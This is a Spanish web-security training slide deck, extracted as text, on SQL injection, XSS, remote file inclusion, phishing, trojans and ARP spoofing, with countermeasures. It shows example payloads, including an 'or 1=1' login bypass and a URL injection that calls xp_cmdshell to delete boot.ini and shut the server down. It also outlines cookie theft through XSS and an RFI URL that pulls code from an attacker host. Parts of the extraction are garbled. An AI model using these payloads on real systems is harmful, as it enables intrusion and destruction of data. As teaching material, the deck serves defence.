Explotación del Ataque
Aplicaciones con mala comprobación de datos de entrada.
Datos de usuario.
Formularios
Text
Password
Textarea
List
multilist
Datos de llamadas a procedimientos.
Links
Funciones Scripts
Actions
Datos de usuario utilizados en consultas a base de datos.
Mala construcción de consultas a bases de datos.
Riesgos
Permiten al atacante:
Saltar restricciones de acceso.
Elevación de privilegios.
Extracción de información de la Base de Datos
Parada de SGBDR.
Ejecución de comandos en contexto usuario bd dentro del servidor.
Tipos de Ataques
Ejemplo 1:
Autenticación de usuario contra base de datos.
Select idusuario from tabla_usuarios
Where nombre_usuario=$usuario
And clave=$clave;
Usuario
Clave
****************
Tipos de Ataques
Ejemplo 1 (cont)
Select idusuario from tabla_usuarios
Where nombre_usuario=Administrador
And clave= or 1=1;
Usuario
Clave
Administrador
or 1=1
Demo
Tipos de Ataques
Ejemplo 2:
Acceso a información con procedimientos de listado.
http://www.miweb.com/prog.asp?parametro1=hola
Ó
http://www.miweb.com/prog.asp?parametro1=1
Tipos de Ataques
Ejemplo 2 (cont):
http://www.miweb.com/prog.asp?parametro1= union select nombre, clave,1,1,1 from tabla_usuarios; otra instrucción; xp_cmdshell(del c:boot.ini); shutdown —
Ó
http://www.miweb.com/prog.asp?parametro1=-1 union select …..; otra instrucción; —
Demo
Contramedidas
No confianza en medias de protección en cliente.
Comprobación de datos de entrada.
Construcción segura de sentencias SQL.
Fortificación de Servidor Web.
Códigos de error.
Restricción de verbos, longitudes, etc..
Filtrado de contenido HTTP en Firewall.
Fortificación de SGBD.
Restricción de privilegios de motor/usuario de acceso desde web.
Aislamiento de bases de datos.
Contramedidas
Desarrollo .NET
Redirigir a una página personalizada en caso de error
Web.Config
Mode ? On, Off, RemoteOnly
DefaultRedirect ? Error no especificado
< error
>?Errores específicos
< customErrors mode="RemoteOnly" defaultRedirect="GenericErrorPage.htm">
< error statusCode="403" redirect="NoAccess.htm"/>
< error statusCode="404" redirect="FileNotFound.htm"/>
< /customErrors>
Contramedidas
Desarrollo .NET (Validadores)
Contramedidas
Desarrollos en .NET (Código inseguro)
protected void Button1_Click(object sender, EventArgs e){
SqlConnection conn = new SqlConnection(connstr);
conn.Open();
SqlCommand cmd = new SqlCommand();
cmd.Connection = conn;
cmd.CommandText = "Select * from Usuarios where login='"+ txtLogin.Text +"
and password='"+ txtPassword.Text +"'";
cmd.CommandType = CommandType.Text;
SqlDataReader dr = cmd.ExecuteReader();
if (dr.HasRows){
//Código para permitir el paso a la aplicación
Response.Write("< script>alert('Acceso permitido');< /script>");
}
else{
//Codigo para rechazar el usuario
Response.Write("< script>alert('Acceso denegado');< /script>");
}
conn.Close();
}
Contramedidas
Desarrollo .NET (Código seguro)
Consultas parametrizadas
protected void Button1_Click(object sender, EventArgs e){
SqlConnection conn = new SqlConnection(connstr);
conn.Open();
SqlCommand cmd = new SqlCommand();
cmd.Connection = conn;
cmd.CommandText = "Select * from Usuarios where login=@login
and password=@pass";
cmd.Parameters.AddWithValue("login", txtLogin);
cmd.Parameters.AddWithValue("pass", txtPassword.Text);
cmd.CommandType = CommandType.Text;
dr = cmd.ExecuteReader();
if (dr.HasRows){//Código para permitir el paso a la aplicación
Response.Write("< script>alert('Acceso permitido');< /script>");
} else{//Codigo para rechazar el usuario
Response.Write("< script>alert('Acceso denegado');< /script>");
} conn.Close(); }
Vulnerabilidades: Cross-Site Scripting (XSS)
Explotación del Ataque
Datos almacenados en servidor desde cliente.
Datos van a ser visualizados por otros cliente/usuario.
Datos no filtrados. No comprobación de que sean dañinos al cliente que visualiza.
Riesgos
Ejecución de código en contexto de usuario que visualiza datos.
Navegación dirigida
Phising
Spyware
Robo de credenciales
Ejecución de acciones automáticas
Defacement
Tipos de Ataques
Mensajes en Foros.
Firma de libro de visitas.
Contactos a través de web.
Correo Web.
En todos ellos se envían códigos Script dañinos.
Robo de Sesiones (XSS)
Mediante esta técnica se puede robar sesiones de una manera bastante sencilla
Bastaría con realizar un script que llamase a una página alojada en nuestro servidor pasándole la cookie
Este Script se colaría en el servidor de la victima aprovechando un punto vulnerable a XSS
Cuando un usuario este logueado en el servidor y ejecute el script se enviara a nuestro servidor el contenido de la cookie
Robo de Sesiones (XSS)
Una vez que la página obtiene la cookie (almacenandola por ejemplo en un fichero) mediante programas como Odysseus se puede hacer una llamada al servidor pasándole la cookie original
Por supuesto esta cookie es válida para robar la sesión solo mientras el usuario no cierre la sesión
Contramedidas
Fortificación de aplicación
Comprobación fiable de datos
Fortificación de Clientes
Ejecución de clientes en entorno menos privilegiado.
Fortificación de navegador cliente.
MBSA.
Políticas.
Contramedidas
Desarrollo .NET
En ASP.NET el Cross Site Scripting está deshabilitado por defecto
El Framework se encarga de buscar posibles ataques de este tipo en las entradas de datos
Se puede deshabilitar este tipo de verificación mediante un atributo de la directiva @Page
Para deshabilitarlo
< %@ Page
ValidateRequest=false
%>
Vulnerabilidades: Remote File Inclusion (RFI)
Remote File Inclusion (RFI)
Vulnerabilidad propia de páginas PHP dinámicas que permite enlace de archivos remotos situados en otros servidores
Se debe a una mala programación o uso de la función include()
Esta vulnerabilidad no se da en páginas programadas en un lenguaje que no permita la inclusión de ficheros ajenos al servidor
Remote File Inclusion (RFI)
La vulnerabilidad es producida por código semejante a este
En páginas de este tipo se puede incluir ficheros que estén en nuestro servidor
$page = $_GET['page'];
include($page);
http://victima.com/pagvuln.php?page=http://[misitio]/miFichero
Remote File Inclusion (RFI)
Existen herramientas que permite explorar un sitio Web en busca de este tipo de vulnerabilidades (rpvs)
Remote File Inclusion (RFI)
Mediante las shell PHP se pueden ejecutar comandos en una página Web
Usando RFI se puede incluir un fichero que ejecute comandos, tales como listar directorios, obtener y colocar ficheros, etc.
El inconveniente es que la mayoría de servidores Web en PHP tienen deshabilitadas las funciones exec, system o passthru que impiden la ejecución de comandos
Remote File Inclusion (RFI)
Sin embargo, existen funciones como show_source(archivo) que permiten la visualización del código fuente de una página
A su vez, existen otra serie de funciones que nos permiten listar el contenido de un directorio
El uso de estas funciones no puede ser limitado y no depende del SO sobre el que se encuentra instalado el Servidor Web
Vulnerabilidades: Phising
Explotación del Ataque
Basado en técnicas de Ingeniería Social.
Se aprovecha de la confianza de los usuarios.
Se aprovecha de la falta de formación en seguridad de los usuarios.
Certificados digitales no generados por Entidades Emisoras de Certificados de confianza.
Riesgos
Suplantación de Sitios Web para engañar al usuario.
Robo de credenciales de acceso a web restringidos.
Robo de dinero
Compras por Internet
Bromas pesadas
Tipos de Ataques
Se falsea la dirección de DNS del servidor
Falsificación hosts
Troyanos, Físicamente, Shellcodes exploits
DHCP
DNS Spoofing
Man in The Middle
Se engaña la navegación.
Frames Ocultos
URLs falseadas.
Se implanta en la nueva ubicación un servidor replica.
Se implantan hasta fakes de certificados digitales
Exploits
infohacking.com
Contramedidas
Uso de CA de confianza
Formación a usuarios
Gestión de actualizaciones de seguridad
Códigos de aplicaciones seguras
Control físico de la red
Comprobación DHCP
Vulnerabilidades: WebTrojan
Explotación de Ataque
Servidores Web no fortificados
Ejecución de programas en almacenes de ficheros.
Subida de ficheros a servidores.
Imágenes para publicaciones.
Archivos de informes.
Currículos, cuentos, etc…
Almacenes de ficheros accesibles en remoto
Usuario en contexto servidor Web no controlado
Riesgos
Implantación de un troyano que puede:
Gestionar ficheros
Ejecutar programas
Destrozar el sistema
Defacement
Robo de información
….
Tipos de Ataques
Programación de un troyano en PHP, ASP o JSP
Utilización de objetos FileObject
Subida mediante ASP Upload, FTP o RFI
Busqueda del lugar de almacenamiento
Invocación por URL pública del servidor Web
Demo
Contramedidas
Fortificación de servidores Web
Menor Privilegio
Ejecución de programas en sitios restringidos
Listado de directorios ocultos
Usuario de servidor en contexto controlado
Subida de archivos controlada
Ubicación no accesible desde URL pública
Tipos de ficheros controlados
Tamaño, tipo, extensión, etc..
Filtrado vírico -> Rootkits
Contramedidas
Desarrollo .NET
En ASP.NET se puede verificar la extensión del fichero que se sube al servidor
Evita la subida de ficheros potencialmente peligrosos
if (!FileUpload1.PostedFile.FileName.EndsWith(".jpg"))
{
//Error: El fichero no es del tipo esperado
}
Vulnerabilidades: Capa 8
Explotación de Ataque
Falta de conocimiento SD3
Diseño
Configuraciónes
Implantación
Administradores/Desarrolladores no formados en Seguridad
Hacking Ético
Falta de conocimiento del riesgo
Riesgos
Insospechados:
Bases de datos públicas
No protección de datos
No protección de sistemas
…..
Tipos de Ataques
Hacking Google
Administradores predecibles
http://www.misitio.com/administracion
http://www.misitio.com/privado
http://www.misitio.com/gestion
http://www.misitio.com/basedatos
Ficheros log públicos
WS_ftp.log
Estadísticas públicas
Webalyzer
Demo
Contramedidas
Formación
Ficheros Robots
Robots.txt
LOPD y LSSI
www.lssi.es
Writting Secure Code
Contramedidas
Troyanos
SubHay un amigo en mi
Video
SubQue puede hacer un troyano
Troyano
Programa que se ejecuta en tu máquina y cuyo control no depende de ti.
Como el
..
Mil formas, mil colores
Los Hackers la llaman la girlfriend
Obtención de Privilegios
Fallo en la cadena:
Procesos:
Sistema no cerrado.
Tecnología:
Fallo en sw de sistema operativo
Fallo en sw ejecución de códigos.
Personas:
Ingeniería Social: ¡Que lindo programita!
Navegación privilegiada
Objetivos
Control remoto:
Instalan suites de gestión del sistema.
Robo de información
Modificación del sistema:
Phishing
Creación de usuarios
Planificación de tareas
….
Instalación del Troyano
Se suele acompañar de un caballo para tranquilizar a la víctima.
Se añaden a otro software.
EJ: Whackamole
Joiners, Binders
Incluidos en documentos que ejecutan código:
Word, excel, swf, .class, pdf, html, etc…
Instalación del Troyano
Simulando ser otro programa
P2P, HTTP Servers
Paquetes Zip autodescomprimibles
Programas con fallo de .dll
Instaladores de otro SW
Demo:
SubUn troyano de andar por casa pa
phisear
Demo:
SubUn troyano de andar por casa pa
meter un backdoor
Demo:
SubUn troyano de andar por casa pa
abrir una shell
Demo:
SubUn troyano de andar por casa pa
robar una shell
Detección de Troyanos
Anti-Mallware
Antivirus
AntiSpyware
Comportamiento anómalo del sistema
Configuraciones nuevas
Cambio en páginas de navegación
Puertos
….
Prevención contra Troyanos
Defensa en Profundidad
Mínimo Privilegio Posible
Mínimo punto de exposición
Gestión de updates de seguridad
Antivirus/AntiSpyware
Ejecución controlada de programas
Navegación segura
Ataque:Envenenamiento ARP
RFC 1180 – TCP/IP tutorial
There are security considerations within the TCP/IP protocol suite. To some people these considerations are serious problems, to others they are not; it depends on the user requirements. This tutorial does not discuss these issues, but if you want to learn more you should start with the topic of ARP-spoofing, then use the "Security Considerations" section of RFC 1122 to lead you to more information.
Técnicas de Spoofing
Las técnicas spoofing tienen como objetivo suplantar validadores estáticos
Un validador estático es un medio de autenticación que permanece invariable antes, durante y después de la concesión.
Niveles Afectados
SERVICIO
RED
Dirección IP
ENLACE
Dirección MAC
Nombres de dominio
Direcciones de correo electrónico
Nombres de recursos compartidos
Tipos de técnicas de Spoofing
Spoofing ARP
Envenenamiento de conexiones.
Man in the Middle.
Spoofing IP
Rip Spoofing.
Hijacking.
Spoofing SMTP
Spoofing DNS
WebSpoofing.
Técnicas de Sniffing
Capturan tráfico de red.
Necesitan que la señal física llegue al NIC.
En redes de difusión mediante concentradores todas las señales llegan a todos los participantes de la comunicación.
En redes conmutadas la comunicación se difunde en función de direcciones.
Switches utilizan dirección MAC.
Nivel de Enlace: Spoofing ARP
Suplantar identidades físicas.
Saltar protecciones MAC.
Suplantar entidades en clientes DHCP.
Suplantar routers de comunicación.
Solo tiene sentido en comunicaciones locales.
Dirección Física
Tiene como objetivo definir un identificador único para cada dispositivo de red.
Cuando una máquina quiere comunicarse con otra necesita conocer su dirección física.
Protocolo ARP
No se utilizan servidores que almacenen registros del tipo:
Dirección MAC < -> Dirección IP.
Cada equipo cuenta con una caché local donde almacena la información que conoce.
Ataque ARP Man In The Middle
¿Quien tiene 1.1.1.2?
1.1.1.2 esta en99:88:77:66:55:44
1.1.1.2 esta en 00:11:22:33:44:55:66
1.1.1.1
1.1.1.2
1.1.1.1 esta en 99:88:77:66:55:44
Protección contra Envenenamiento
Medidas preventivas.
Control físico de la red.
Bloqueo de puntos de acceso.
Segmentación de red.
Gestión de actualizaciones de seguridad.
Protección contra Exploits.
Protección contra troyanos.
Protección contra Envenenamiento
Medidas preventivas.
Cifrado de comunicaciones.
IPSec.
Cifrado a nivel de Aplicación:
S/MIME.
SSL.
Certificado de comunicaciones.
Medidas reactivas.
Utilización de detectores de Sniffers.
Utilizan test de funcionamiento anómalo.
Test ICMP.
Test DNS.
Test ARP.
Sistemas de Detección de Intrusos
Protección contra Envenenamiento
Frase vs. Passwords
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
Web MVPs
TechNews
Suscripción gratuita enviando un mail:
mailto:technews@informatica64.com
Página anterior | Volver al principio del trabajo | Página siguiente |